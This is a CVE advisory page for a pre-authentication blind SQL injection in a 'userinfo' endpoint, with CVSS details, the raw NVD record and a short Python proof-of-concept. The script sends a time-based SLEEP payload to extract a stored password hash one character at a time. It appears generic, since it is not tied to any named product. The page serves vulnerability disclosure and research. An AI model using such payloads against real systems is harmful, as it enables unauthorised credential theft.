Security Vulnerability Report
中文
CVE-2026-32969 CVSS 7.5 HIGH

CVE-2026-32969

Published: 2026-03-23 12:16:09
Last Modified: 2026-03-23 14:31:37

Description

An unauthenticated remote attacker can exploit a Pre-Auth blind SQL Injection vulnerability in the userinfo endpoint’s authentication method due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

未明确指定 (请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time def check_sqli(url): # Payload for time-based blind SQL injection # Checks if the first user's password hash starts with 'a' payload = { "username": "admin' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)='a', SLEEP(5), 0)-- -" } try: start_time = time.time() response = requests.post(url, data=payload) end_time = time.time() # Determine vulnerability based on response time if end_time - start_time >= 5: print("[+] Vulnerability Confirmed: SQL Injection is possible.") else: print("[-] Condition not met or not vulnerable.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://target-ip/api/userinfo" # Replace with actual target check_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32969", "sourceIdentifier": "[email protected]", "published": "2026-03-23T12:16:09.090", "lastModified": "2026-03-23T14:31:37.267", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker can exploit a Pre-Auth blind SQL Injection vulnerability in the userinfo endpoint’s authentication method due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality."}, {"lang": "es", "value": "Un atacante remoto no autenticado puede explotar una vulnerabilidad de inyección SQL ciega Pre-Auth en el método de autenticación del endpoint userinfo debido a la neutralización incorrecta de elementos especiales en un comando SQL SELECT. Esto puede resultar en una pérdida total de confidencialidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2026-024", "source": "[email protected]"}, {"url": "https://certvde.com/de/advisories/VDE-2026-025", "source": "[email protected]"}]}}